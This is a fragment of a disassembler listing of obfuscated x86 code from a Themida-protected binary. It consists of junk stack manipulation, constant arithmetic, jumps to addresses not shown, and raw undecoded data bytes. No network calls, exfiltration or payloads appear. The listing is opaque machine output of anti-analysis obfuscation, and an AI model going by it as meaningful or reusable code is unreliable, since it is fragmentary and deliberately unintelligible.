dd 8124048Bh, 4ECh, 241C8900h, 3FADE9h, 57595400h, 90D2E9h
db 0
; ---------------------------------------------------------------------------
loc_555E79: ; CODE XREF: Themida_:005591EAj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
loc_555E86: ; CODE XREF: Themida_:005510A7j
push 2972h
mov [esp], edi
push ebx
pop edi
mov eax, edi
push dword ptr [esp]
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], ebx
mov ebx, esp
push edx
mov edx, 4
add ebx, edx
pop edx
push 31D9h
mov [esp], eax
push edx
mov edx, 4
mov eax, edx
jmp loc_550C71
; ---------------------------------------------------------------------------
aCHW db 'аФ',7,'hаw',0
align 2
dw 1489h
dd 0C6BD5524h, 81388C0Ch, 4ECh, 0BD9CE900h, 0F301FFFFh
dd 0C9EC381h, 875E07FBh, 248B241Ch, 24048F24h, 66F1F65Ch
dd 0E9CCB60Fh, 0CBD7h, 8137B753h, 4ECh, 24048900h, 0E70838B4h
dd 5C9BE9h
db 0
; ---------------------------------------------------------------------------
loc_555F11: ; CODE XREF: Themida_:005526FBj
add ebp, 4
push ecx
jmp loc_55D299
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 0BA52E689h, 4, 38D7C681h, 0D60128E9h, 38D7EE81h, 0E95A28E9h
dd 0FFFFB013h, 4EF81h, 3C870000h, 24248B24h, 0E9241489h
dd 0FFFFAAEFh, 0B1E9E189h, 5A000059h, 4EC81h, 3EE90000h
dd 83FFFFDCh, 0C78104C4h, 4, 0D2B0E9h
db 0
byte_555F71 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550778o
dd 0E7895724h, 4C781h, 0BA520000h, 4, 148BD729h, 5E545624h
dd 6E7E9h, 0AA19E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555F96: ; CODE XREF: Themida_:0055E737j
pop eax
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edi
push esi
mov esi, 24h
jmp loc_557B51
; ---------------------------------------------------------------------------
dw 1431h
aSb_0 db '$И║ж',0
align 2
dw 0BE56h
dd 4AC8080Fh, 0C15EF129h, 0D9F703E1h, 0F3B85049h, 315614F4h
dd 12E958C1h, 81000092h, 0B639AFE6h, 33CE8130h, 460B2145h
dd 55B4EE81h, 0CFE90B37h, 8B0000F0h, 8953240Ch, 4C381E3h
dd 81000000h, 4C3h, 74FF5300h, 8F5B0424h, 0BEE92404h, 0BA00009Ah
dd 5FE71FBAh, 77E9D009h
db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556017: ; CODE XREF: Themida_:0055E34Aj
push 24E35311h
pop ebp
add ebp, 0FA19092Eh
jmp loc_556602
; ---------------------------------------------------------------------------
dword_556028 dd 0E9028F64h, 0FFFFA97Fh ; DATA XREF: Themida_:00550788o
; ---------------------------------------------------------------------------
loc_556030: ; CODE XREF: Themida_:0055D772j
mov esi, ebx
jmp loc_558304
; ---------------------------------------------------------------------------
db 89h
dd 0A4B3241Ch, 0FE05EBC0h, 0ACEB80CBh, 280BB252h, 24148BD3h
dd 5E08950h, 4, 8704C083h, 525C2404h, 80C2B151h, 0E98013E9h
dd 5E1C0DDh, 0DEE9D1F6h, 0FF000004h, 5D042474h, 8B24048Fh
dd 0F662424h, 9C2404BBh, 0FFA92AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556085: ; CODE XREF: Themida_:0055EBCAj
mov edx, 39F50762h
push ebp
mov ebp, 690822D4h
sub edx, ebp
pop ebp
jmp loc_560A3D
; ---------------------------------------------------------------------------
aXhI db 'Xh|i',0
align 2
dw 3489h
dd 7FFC6824h, 24890000h, 0BA94E924h, 815BFFFFh, 34CAEC2h
dd 7966E932h, 0E6890000h, 4C681h, 0EE830000h, 24348704h
dd 243C895Ch, 243C8B54h, 5204C483h, 0A43E3BBAh, 8B5EE96Bh
dd 0E0C10000h, 0FFBE5606h, 1FFFFFFh, 0E9575EF0h, 7F85h
dd 42474FFh, 0FFDCABE9h, 52C181FFh, 1250907h, 87E955D1h
dd 0B800001Dh, 4178409Eh, 123D2548h, 5E0D0557h, 0E912960Dh
dd 9FCBh, 0E95AF088h, 0FFFFCE8Ah, 5724148Bh, 0E38EE9h
db 0
; ---------------------------------------------------------------------------
loc_55612D: ; CODE XREF: Themida_:00560106j
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
shr ecx, 0Bh
push 59C2h
mov [esp], ebx
mov eax, [esp]
push eax
mov eax, esp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
push edx
mov edx, 0A1364D7h
mov ecx, 5AC6268Dh
not ecx
neg ecx
sub ecx, 2A903804h
jmp loc_55BCE0
; ---------------------------------------------------------------------------
db 89h, 0E3h, 81h
dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 36E4E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55618E: ; CODE XREF: Themida_:0055E0CDj
push ebx
mov ebx, 83E068Eh
dec ebx
inc ebx
shl ebx, 8
push edx
mov edx, 60310894h
neg edx
jmp loc_555DDA
; ---------------------------------------------------------------------------
dw 0E959h
dd 0FFFFC6C0h
; ---------------------------------------------------------------------------
loc_5561AC: ; CODE XREF: Themida_:00554461j
push esp
pop ecx
add ecx, 4
push esi
mov esi, 4
push eax
mov eax, 25777AF2h
sub ecx, eax
pop eax
jmp loc_564503
; ---------------------------------------------------------------------------
aBLeYs2_ db '│г▀e`yИ2_',0
db 0
; ---------------------------------------------------------------------------
loc_5561D3: ; CODE XREF: Themida_:0055FC3Ej
mov edx, 0B08D8B0Fh
sub eax, 2FD0859h
jmp loc_5640DA
; ---------------------------------------------------------------------------
dw 14F6h
dd 0CFF0E924h, 0EE090000h, 3D5FE9h, 0EB895F00h, 0CCBD555Dh
dd 0E9263532h, 0A35Dh
; ---------------------------------------------------------------------------
loc_556200: ; CODE XREF: Themida_:0055C202j
pop ecx
sub edx, 0BA38E529h
dec edx
push ebp
mov ebp, 5D3C230Bh
xor edx, ebp
pop ebp
add ecx, edx
pop edx
jmp loc_563B17
; ---------------------------------------------------------------------------
loc_556219: ; CODE XREF: Themida_:00560BB3j
and ch, 0B9h
xor ch, 55h
push edx
mov dl, ch
mov ah, dl
pop edx
push dword ptr [esp]
mov ecx, [esp]
push edx
jmp loc_552A29
; ---------------------------------------------------------------------------
db 5Ah, 47h, 0C1h
dd 814707E7h, 2BA85F7h, 0FFF82945h, 19E92434h, 570000D6h
dd 68242C8Bh, 71Ah, 0E9240489h, 4D4h, 815FFD21h, 0E73326C5h
dd 56E5D135h, 0D45386BEh, 0CEED81A1h, 29460A70h, 0F1BFE9F5h
dd 0C1830000h, 240C8704h, 0F8E9535Ch
db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556283: ; CODE XREF: Themida_:0055B502j
mov [esp], esp
push ebx
mov ebx, 4
jmp loc_550B48
; ---------------------------------------------------------------------------
db 5Bh, 50h, 0B8h
dd 4, 43D3C581h, 0C5290AA1h, 0CBD5557h, 8161A124h, 336E74CDh
dd 3EDC16Bh, 3461E9h, 4C48300h, 0E9240433h, 9F53h, 65C3815Ah
dd 8B424E01h, 0C481243Ch, 4, 8B241C87h, 89662424h, 0ABE92404h
dd 2DFFFFECh, 2B2B3839h, 5D3A055Fh, 0C101CAECh, 0E924048Bh
dd 7AC4h, 0E9FB0166h, 0B259h
; ---------------------------------------------------------------------------
loc_5562FC: ; CODE XREF: Themida_:0055C4DCj
mov esp, [esp]
mov [esp], eax
mov eax, 19D219Ah
push esi
mov esi, esp
jmp loc_56179C
; ---------------------------------------------------------------------------
loc_55630F: ; CODE XREF: Themida_:00556514j
shl edi, 6
sub edi, 9E1089BEh
mov ecx, edi
pop edi
mov edx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push edi
jmp loc_5529D0
; ---------------------------------------------------------------------------
loc_55632A: ; CODE XREF: Themida_:0055E846j
pop ecx
jmp loc_5512FC
; ---------------------------------------------------------------------------
loc_556330: ; CODE XREF: Themida_:00558246j
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
xchg eax, ebp
push dword ptr [esp]
pop eax
jmp loc_55C891
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 4EAAE581h, 0E5C133DCh, 4DED8107h, 133219Ah, 0ADE95DE8h
db 4Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556367: ; CODE XREF: Themida_:0055A7ACj
add dword ptr [esp], 51F62C72h
mov ebx, [esp]
jmp loc_55DEAC
; ---------------------------------------------------------------------------
dw 3487h
dd 24248B24h, 0FFEA4FE9h
db 0FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_555E04
; ---------------------------------------------------------------------------
loc_556395: ; CODE XREF: Themida_:00561D4Bj
not bh
xor bh, 68h
xor bh, 18h
or cl, bh
jmp loc_55F91F
; ---------------------------------------------------------------------------
loc_5563A4: ; CODE XREF: Themida_:00563E8Ej
add ecx, 307D4D19h
jmp loc_551FBF
; ---------------------------------------------------------------------------
loc_5563AF: ; CODE XREF: Themida_:00554C83j
sub ebp, 65244978h
jmp loc_56214C
; ---------------------------------------------------------------------------
loc_5563BA: ; CODE XREF: Themida_:005605C2j
sub ecx, 4
xchg ecx, [esp]
jmp loc_558B2A
; ---------------------------------------------------------------------------
db 1, 0C5h, 0E9h
dd 0F67Fh, 241C895Ch, 0C5E4E9h, 2414F700h, 0B6E9555Bh
db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5563DF: ; CODE XREF: Themida_:0055C962j
mov edx, 16D55F13h
sub edi, edx
mov edx, [esp]
add esp, 4
shl edi, 1
xchg eax, edi
jmp loc_565110
; ---------------------------------------------------------------------------
aYsE db 'YИуE',0
dd 4EC8100h, 0E9000000h, 58AEh, 7B18E959h, 0D7290000h
dd 313CE9h, 240C8700h, 5324248Bh, 190344BBh, 96AEE909h
dd 0F7470000h, 2556E9D7h, 0EA810000h, 2AB6C9Ah, 0C9F68h
dd 243C8900h, 422FB2BFh, 9EEF8159h, 525DAA0Eh, 167A09BAh
dd 2EAC17Fh, 38E4F281h, 62E95B84h
db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55645B: ; CODE XREF: Themida_:00554E74j
mov [esp], edi
mov edi, 4
add [esp+4], edi
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_556A1F
; ---------------------------------------------------------------------------
db 89h
dd 0D6BD55E6h, 813E7C07h, 381262C5h, 81DDF762h, 0C2137BEDh
dd 3AC5817Ah, 81386F14h, 0DE6DE7C5h, 0E9D5F7ECh, 0B94Ah
dd 4C181h, 0C1810000h, 4, 0E9240C87h, 2388h
; ---------------------------------------------------------------------------
loc_5564B8: ; CODE XREF: Themida_:00563C15j
xor [esp], ecx
jmp loc_55E966
; ---------------------------------------------------------------------------
dd 5EE95052h, 33FFFFCDh, 4312404h, 6471E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5564D2: ; CODE XREF: Themida_:0055DF1Aj
mov eax, [esp]
sub esp, 4
mov [esp], esi
jmp loc_55439E
; ---------------------------------------------------------------------------
dd 0EE80DEF6h, 0A7C780DFh, 0EF80F728h, 0B6525AA7h, 1AF7E9A6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5564F6: ; CODE XREF: Themida_:00554D0Dj
add eax, 93E32831h
and esi, eax
pop eax
push ebp
push edi
mov edi, 47197EF4h
shr edi, 3
jmp loc_55814E
; ---------------------------------------------------------------------------
loc_55650D: ; CODE XREF: Themida_:00563CA0j
add esp, 4
dec edi
jmp loc_55630F
; ---------------------------------------------------------------------------
loc_556519: ; CODE XREF: Themida_:005629A5j
push edi
push esi
push 334Eh
mov [esp], edi
push 58C43C6h
pop edi
jmp loc_55231C
; ---------------------------------------------------------------------------
dw 0E95Eh
dd 0E51Ch
; ---------------------------------------------------------------------------
loc_556534: ; CODE XREF: Themida_:005529A0j
add edx, 4
xchg edx, [esp]
jmp loc_551730
; ---------------------------------------------------------------------------
db 5Ch
dd 2474FF57h, 243C8B04h, 0C50CE9h, 8DF18000h, 0BFD0E9h
db 0
; ---------------------------------------------------------------------------
loc_556555: ; CODE XREF: Themida_:00551086j
dec edx
shl edx, 1
jmp loc_55BFA0
; ---------------------------------------------------------------------------
loc_55655D: ; CODE XREF: Themida_:0056142Cj
mov [esp], edx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_551000
; ---------------------------------------------------------------------------
loc_556574: ; CODE XREF: Themida_:00563340j
add esp, 4
jmp loc_550DBC
; ---------------------------------------------------------------------------
aAaS db 'пМ─мтИ',0Bh,'й',0
align 2
loc_556586: ; CODE XREF: Themida_:00555843j
add eax, 0EFC27D9Dh
add edx, eax
pop eax
sub esp, 4
mov [esp], ecx
jmp loc_559F9D
; ---------------------------------------------------------------------------
aLRtsZ db '[▀,$RTИ!┤',0
align 4
loc_5565A4: ; CODE XREF: Themida_:00557DDBj
push ecx
mov ecx, 71D46F6Fh
shl ecx, 4
not ecx
add ecx, 41B04091h
add edi, ecx
pop ecx
add esi, edi
pop edi
sub esi, 2B0F4A6Ch
mov edx, esi
pop esi
mov ebp, 5A703A91h
xor ebp, 0D246B6BAh
add ebp, edx
pop edx
and eax, ebp
mov ebp, [esp]
jmp loc_55F6EC
; ---------------------------------------------------------------------------
loc_5565DC: ; CODE XREF: Themida_:00560416j
mov ebx, 64946C1Dh
add ebx, 471169F5h
xor ebx, 8911E639h
add ecx, ebx
pop ebx
push eax
push edi
mov edi, 5C664DEh
push edx
mov edx, 7F153DA5h
jmp loc_55D7F4
; ---------------------------------------------------------------------------
loc_556602: ; CODE XREF: Themida_:00556023j
mov edi, ebp
pop ebp
push ebp
mov ebp, 3C5A4C4Eh
xor edi, ebp
pop ebp
neg edi
sub edi, 2CE67F02h
push ebp
mov ebp, 0E7192A07h
xor edi, ebp
pop ebp
add eax, 64CF5CFEh
add eax, 66C22ADCh
sub eax, edi
sub eax, 66C22ADCh
push edx
mov edx, 1FF1306Eh
jmp loc_56395F
; ---------------------------------------------------------------------------
db 81h
dd 627F89F7h, 8BFE89F8h, 8DE9243Ch, 8900002Eh, 405E0h
dd 0BA520000h, 1BCF6D13h, 6D0FEA81h, 0B2E91BCFh, 89FFFFA3h
dd 2B82404h, 1000000h, 24048BC5h, 0E904C483h, 0E11Fh, 4C681h
dd 5EE90000h, 66000069h, 2404B30Fh, 0A321E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55668E: ; CODE XREF: Themida_:0055B0CBj
sub al, ch
pop cx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
push cx
mov cl, 0CBh
sub bl, cl
pop cx
sub esp, 4
mov [esp], ecx
mov ch, 0D4h
add bl, ch
pop ecx
sub bl, al
sub bl, 0D4h
push eax
jmp loc_562B1B
; ---------------------------------------------------------------------------
loc_5566BC: ; CODE XREF: Themida_:00563594j
mov eax, 52300B64h
jmp loc_555C32
; ---------------------------------------------------------------------------
dw 0C483h
dd 0EA816602h, 0BDE90285h, 280000E3h, 240C8BEBh, 4C481h
dd 0A9E90000h, 54000011h, 0FDBE95Dh, 29660000h, 0C38166D3h
dd 0E95A17EAh, 0FFFFC361h, 0E904C483h, 23Eh
; ---------------------------------------------------------------------------
loc_556700: ; CODE XREF: Themida_:00551A1Cj
sub ebx, 5AB45DE0h
push edi
mov edi, 433E7501h
jmp loc_561051
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 1C4F215Ch, 57240C8Bh, 90C1E9h, 0FFE82000h, 0E9592434h
dd 2EB6h, 0F0E9E089h
db 96h, 2 dup(0)
byte_556733 db 0FFh ; DATA XREF: Themida_:005507A0o
dd 0E9582434h, 0FFFFDA49h
; ---------------------------------------------------------------------------
loc_55673C: ; CODE XREF: Themida_:00562520j
push 4DA8h
mov [esp], ebx
jmp loc_561399
; ---------------------------------------------------------------------------
loc_556749: ; CODE XREF: Themida_:0055243Cj
mov ebp, 79E65719h
sub ecx, 1E714284h
push eax
jmp loc_55D665
; ---------------------------------------------------------------------------
loc_55675A: ; CODE XREF: Themida_:0055848Aj
add ebp, 4
add ebp, 4
jmp loc_559B35
; ---------------------------------------------------------------------------
db 83h
dd 0B8E904ECh, 520000F5h, 944CE6BAh, 5773E945h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55677E: ; CODE XREF: Themida_:00556D90j
push 22F12BADh
mov ebx, [esp]
add esp, 4
sub ebp, ebx
pop ebx
jmp loc_5549E4
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C4815Ah, 0E9000000h, 5083h, 5C241487h, 5C24048Fh, 9C240429h
dd 0FFA1FEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5567B1: ; CODE XREF: Themida_:0055BF49j
mov ebp, esp
jmp loc_55121E
; ---------------------------------------------------------------------------
dd 0E9241C89h, 6ACFh
; ---------------------------------------------------------------------------
loc_5567C0: ; CODE XREF: Themida_:0055A06Aj
push 4916h
mov [esp], ecx
jmp loc_551DC8
; ---------------------------------------------------------------------------
db 68h, 75h, 0Fh
dd 14890000h, 176C6824h, 14890000h, 89F2E924h, 0F3810000h
dd 1C79B7BAh, 806E9h, 54575A00h, 0B38EE9h, 0EFBA5200h
dd 0F7014147h, 0F2814AD2h, 6D502625h, 0FFF5B3E9h, 76E952FFh
dd 83000018h, 0C58004C4h, 18C0E94Dh, 875B0000h, 95C2414h
dd 0C8B1C4Fh, 4C48324h, 599A68h, 1FA8E900h, 0C3810000h
dd 4, 4EB81h, 1C870000h, 5E41E924h, 0B7530000h, 2EFC034h
dd 8002E7C0h, 0B652C8CFh, 0D7F680CBh, 103AE9h
db 0
; ---------------------------------------------------------------------------
loc_55685D: ; CODE XREF: Themida_:0055D619j
push ebp
jmp loc_553BFC
; ---------------------------------------------------------------------------
loc_556863: ; CODE XREF: Themida_:00564AD1j
sub ebx, 54A012A6h
pop ebp
shr ebx, 1
or ebx, 31F027A8h
jmp loc_56176B
; ---------------------------------------------------------------------------
loc_556877: ; CODE XREF: Themida_:0055E569j
mov edi, 1
push eax
jmp loc_558F97
; ---------------------------------------------------------------------------
dw 0EAC1h
dd 48E95502h
db 19h, 2 dup(0)
byte_55688B db 56h ; DATA XREF: Themida_:005508D4o
dd 0FC424BBEh, 68D6875Bh, 6776h, 0F7241489h, 875A2414h
dd 0F61CE9D6h, 0C481FFFFh, 4, 554BE9h, 14895C00h, 0A36824h
dd 1C890000h, 8FB95124h, 0E92D444Ch, 0FFFFB815h, 5486D2F6h
dd 0CAE90124h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5568D3: ; CODE XREF: Themida_:0055DBEBj
sub eax, ebp
sub eax, 4B3300DCh
push esi
mov esi, 7B9623F8h
shl esi, 7
add esi, 6C1D64B2h
add eax, esi
mov esi, [esp]
push esi
jmp loc_558244
; ---------------------------------------------------------------------------
aAfosK db '─Д▌Имk',0
align 4
dd 4C481h, 0EBE90000h, 35000091h, 0BF45A68h, 586B892Dh
dd 1B354810h, 0E92A2B5Ah, 0C518h
; ---------------------------------------------------------------------------
loc_55691C: ; CODE XREF: Themida_:0055F3AEj
xchg ch, [esp+1]
not ch
xchg ch, [esp+1]
pop cx
push edx
mov dh, 5Eh
push ebx
mov bl, 1Dh
add bl, 4Eh
jmp loc_55FD35
; ---------------------------------------------------------------------------
loc_556936: ; CODE XREF: Themida_:0056415Fj
mov edx, [esp]
jmp loc_551E53
; ---------------------------------------------------------------------------
dw 3C87h
dd 24248B24h, 24048B66h, 476A68h, 5C75E900h, 0C4830000h
dd 24048704h, 0E924248Bh, 25CEh, 48E9C231h, 89FFFFA0h
dd 0EDBA2414h, 815A7F24h, 0A33BBBCAh, 0CA58E930h, 0D3F60000h
dd 5CE9C3FEh
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556983: ; CODE XREF: Themida_:00552DE2j
xor edi, 0AF631ABh
add edi, 0EABC996Ch
and ecx, edi
push dword ptr [esp]
mov edi, [esp]
jmp loc_559ED3
; ---------------------------------------------------------------------------
dword_55699C dd 592434FFh, 4A7F68h, 240C8900h, 0FFD91EE9h, 4C483FFh
; DATA XREF: Themida_:005508C4o
dd 2459E942h, 248B0000h, 9FF1E924h, 0C788FFFFh, 0FFF46FE9h
dd 0CE015CFFh, 0A224E9h
db 0
; ---------------------------------------------------------------------------
loc_5569CD: ; CODE XREF: Themida_:00556F32j
pop ebx
neg al
push edx
mov dl, 0E2h
add dl, 88h
xor al, dl
jmp loc_5516DB
; ---------------------------------------------------------------------------
db 0F7h, 0D8h, 0Dh
dd 7F7A1BF7h, 0E0603435h, 0BFB7E925h, 8158FFFFh, 4C4h
dd 8A87E900h, 74FF0000h, 9E90424h, 890000C4h, 0BC0559CDh
dd 0E96DF41Fh, 9266h, 0C95849BEh, 5BDE2964h, 5EE9F301h
db 49h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556A1F: ; CODE XREF: Themida_:00556476j
xchg ecx, [esp]
jmp loc_55BA56
; ---------------------------------------------------------------------------
loc_556A27: ; CODE XREF: Themida_:0055346Fj
sub esp, 4
mov [esp], eax
mov eax, 47AA74D9h
xor eax, 52F9541Ch
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], eax
mov eax, 0FFFFFFFFh
mov esi, eax
jmp loc_562FBD
; ---------------------------------------------------------------------------
dw 0C283h
dd 24148704h, 0C124248Bh, 6E6805E6h, 0E900002Ch, 0EA9Eh
dd 2C8BEA01h, 4A5AE924h, 0A9680000h, 8900001Ch, 6BE9243Ch
dd 81FFFFC7h, 0CCC870F6h, 0ABB1E90Ch, 4BFFFFFh, 29000000h
dd 0C875FF9h, 53E95C24h
db 20h, 2 dup(0)
byte_556A9B db 0FFh ; DATA XREF: Themida_:00550728o
a4Sw db '4$Иwм',0
db 0
; ---------------------------------------------------------------------------
loc_556AA3: ; CODE XREF: Themida_:0055AFEBj
mov dx, 194Dh
shr dx, 2
jmp loc_561A1C
; ---------------------------------------------------------------------------
dd 4EC81h, 14890000h, 2414F724h, 0E4E9555Ah, 810000E0h
dd 2EBh, 241C8700h, 6624248Bh, 0E9240489h, 0FFFF9ED7h
; ---------------------------------------------------------------------------
loc_556AD8: ; CODE XREF: Themida_:0055E856j
sub esi, eax
add esi, 631B044Bh
pop eax
pop edx
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
and [esp], ax
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_556AF8: ; CODE XREF: Themida_:00553530j
add dword ptr [esp+4], 132C1CF8h
push edi
jmp loc_55257C
; ---------------------------------------------------------------------------
aWs_n db 'WИ_█',0
align 4
dd 1CAFBA52h, 0BE5679DDh, 35ED200Ah, 2849EE81h, 0D6F744DBh
dd 3101E9h, 8BC10100h, 4BE92404h, 5800003Ah, 5C24048Fh
dd 0E9243C33h, 0E10Ah
; ---------------------------------------------------------------------------
loc_556B3C: ; CODE XREF: Themida_:0055446Dj
pop esi
pop dword ptr [esp]
xchg ebp, esi
push ebp
not dword ptr [esp]
pop ebp
xchg ebp, esi
push 412Dh
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
mov esi, [esp]
add esp, 4
jmp loc_55FFDE
; ---------------------------------------------------------------------------
dw 2B2h
aSla db '(вИl═',0
dw 8B00h
dd 0C483243Ch, 4EC8104h, 89000000h, 56BE2434h, 564A0C4Eh
dd 5E2414F7h, 24348756h, 3487D6F7h, 24348B24h, 0E904C483h
dd 57DCh, 4C181h, 6EE90000h, 81FFFFF8h, 4C5h, 0EEB95100h
dd 817DB53Bh, 0B53BECE9h, 59CD017Dh, 0E9242C87h, 91B1h
; ---------------------------------------------------------------------------
loc_556BC4: ; CODE XREF: Themida_:00550FECj
pop esi
jmp loc_55D3B8
; ---------------------------------------------------------------------------
dw 0C381h
dd 5A99185Fh, 0D87BE9h
db 0
; ---------------------------------------------------------------------------
loc_556BD5: ; CODE XREF: Themida_:0055DEB9j
mov eax, 51A358FEh
and ebp, eax
pop eax
add ebp, 1
push ecx
push 331857C3h
jmp loc_553BDC
; ---------------------------------------------------------------------------
aRsul db 'RИ⌠L',0
align 4
a5q_bsU db '5О°.║И*⌠',0
align 2
loc_556BFE: ; CODE XREF: Themida_:0055D997j
add ebx, 4
xchg ebx, [esp]
pop esp
sub ebp, 9C01B473h
sub [edi+24h], ebp
push dword ptr [esp]
pop ebp
push edx
jmp loc_5638C3
; ---------------------------------------------------------------------------
loc_556C1B: ; CODE XREF: Themida_:0055EE2Ej
sub eax, 2A72F783h
jmp loc_555672
; ---------------------------------------------------------------------------
db 81h, 0CDh, 55h
dd 4D26C756h, 0E94DD5F7h, 0FFFFCC2Bh
; ---------------------------------------------------------------------------
loc_556C34: ; CODE XREF: Themida_:00558B92j
mov [esp], edi
mov edi, 4AB053F1h
not edi
add edi, 1
xor edi, 166024Bh
xor edi, 0B429AE40h
push ebp
mov ebp, 2C104874h
sub [esp+8], ebp
pop ebp
add [esp+4], edi
add dword ptr [esp+4], 2C104874h
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
pop ecx
jmp loc_55E5B5
; ---------------------------------------------------------------------------
db 68h, 3Dh, 60h
dd 14890000h, 0FFFFBA24h, 0C381FFFFh, 70761F06h, 0EB81D329h
dd 70761F06h, 8324148Bh, 16804C4h, 89000024h, 0F3B82404h
dd 56104E6Ah, 4B3EBEh, 5EF03150h, 5D81BD55h, 0E8090B82h
dd 57D8F75Dh, 9C7AC4BFh, 6EFC123h, 47E9D7F7h, 4A000010h
dd 0D2F7DAF7h, 1D10E9h, 7FED8100h, 81793A33h, 0ED14B3EDh
dd 81CD0163h, 0ED14B3C5h, 7FC58163h, 8B793A33h, 8957240Ch
dd 4C781E7h, 52000000h, 0BC78D2BAh, 0A9E1E977h, 24890000h
dd 24048324h, 0EC815804h, 4, 0BF243C89h, 634A5543h, 3E0EEF81h
dd 0F78119FBh, 13F74B18h, 0E906EFC1h, 0A616h
; ---------------------------------------------------------------------------
loc_556D3C: ; CODE XREF: Themida_:00564587j
pop ecx
add edi, eax
pop eax
sub ebx, 4A760A72h
jmp loc_554FF2
; ---------------------------------------------------------------------------
loc_556D4B: ; CODE XREF: Themida_:005591F7j
xor edi, 386C0C24h
dec edi
shl edi, 7
not edi
jmp loc_55E535
; ---------------------------------------------------------------------------
dd 6093E981h, 0C7815AACh, 371E0DDCh, 20E9CF01h
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556D6F: ; CODE XREF: Themida_:00554900j
add ebp, 4
push edi
mov edi, 4
add ebp, edi
pop edi
xchg ebp, [esp]
pop esp
push 39D3h
mov [esp], esi
mov esi, 4
push ebx
jmp loc_55677E
; ---------------------------------------------------------------------------
db 54h, 8Fh, 4
dd 24048324h, 52515804h, 4BAh, 5AD18900h, 0F7E9C801h, 81FFFFF3h
dd 4ECh, 241C8900h, 0CC243481h, 5D1A790Eh, 0ECCF581h, 0E95B1A79h
dd 2FDAh
; ---------------------------------------------------------------------------
loc_556DCC: ; CODE XREF: Themida_:00551F9Bj
mov [esp], esi
push 21CE5403h
mov esi, [esp]
jmp loc_561C54
; ---------------------------------------------------------------------------
dd 4B9515Eh, 1000000h, 0EC8359C8h, 24048904h, 0BE565854h
dd 4, 525EF001h, 8B74E9h, 24048100h, 4, 0E924348Bh, 91B2h
dd 0C181E189h, 4, 3DBB5357h, 0E924DF0Ah, 86AFh
; ---------------------------------------------------------------------------
loc_556E20: ; CODE XREF: Themida_:0055537Dj
mov ebx, 866470Dh
push ebp
mov ebp, 67575F4Ch
neg ebp
inc ebp
jmp loc_55A2E7
; ---------------------------------------------------------------------------
db 1
dd 242C8BE8h, 104C483h, 41DE2DD8h, 0FEE939E2h, 81000038h
dd 2206FAEEh, 52DE012Ch, 2206FABAh, 8BD6012Ch, 0D1E92414h
dd 81000047h, 5A1ADFC1h, 0D0E95F05h
db 3Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556E6B: ; CODE XREF: Themida_:0055F80Cj
pop eax
jmp loc_55384A
; ---------------------------------------------------------------------------
byte_556E71 db 0E9h, 39h, 9Bh ; DATA XREF: Themida_:0055087Co
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556E76: ; CODE XREF: Themida_:0055A678j
pop eax
mov eax, ebp
pop ebp
jmp loc_55D99C
; ---------------------------------------------------------------------------
db 1
dd 0B9515AD7h, 4, 34FFCF01h, 240C8B24h, 8304C483h, 48904ECh
dd 5E08924h, 4, 0E904C083h, 18D5h, 5585450h, 4, 42Dh, 3A9CE900h
dd 875A0000h, 248B241Ch, 4296624h, 0E4E99C24h, 0BFFFFF9Ah
dd 40CC0FFCh, 815FF801h, 4ECh, 241C8900h, 0BC8BE955h, 8F540000h
dd 4832404h, 348B0424h, 4C48124h, 81000000h, 4C6h, 0E0895000h
dd 405h, 42D00h, 4870000h, 14895C24h, 0F0E95024h
db 0ECh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556F13: ; CODE XREF: Themida_:00563ECDj
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_55B4EC
; ---------------------------------------------------------------------------
dw 0E958h
dd 0FFFFD852h
; ---------------------------------------------------------------------------
loc_556F28: ; CODE XREF: Themida_:0055FB00j
add esp, 4
mov al, 56h
add al, bl
jmp loc_5569CD
; ---------------------------------------------------------------------------
db 31h
dd 0C33240Ch, 24248B24h, 24048B66h, 8904EC83h, 0E189240Ch
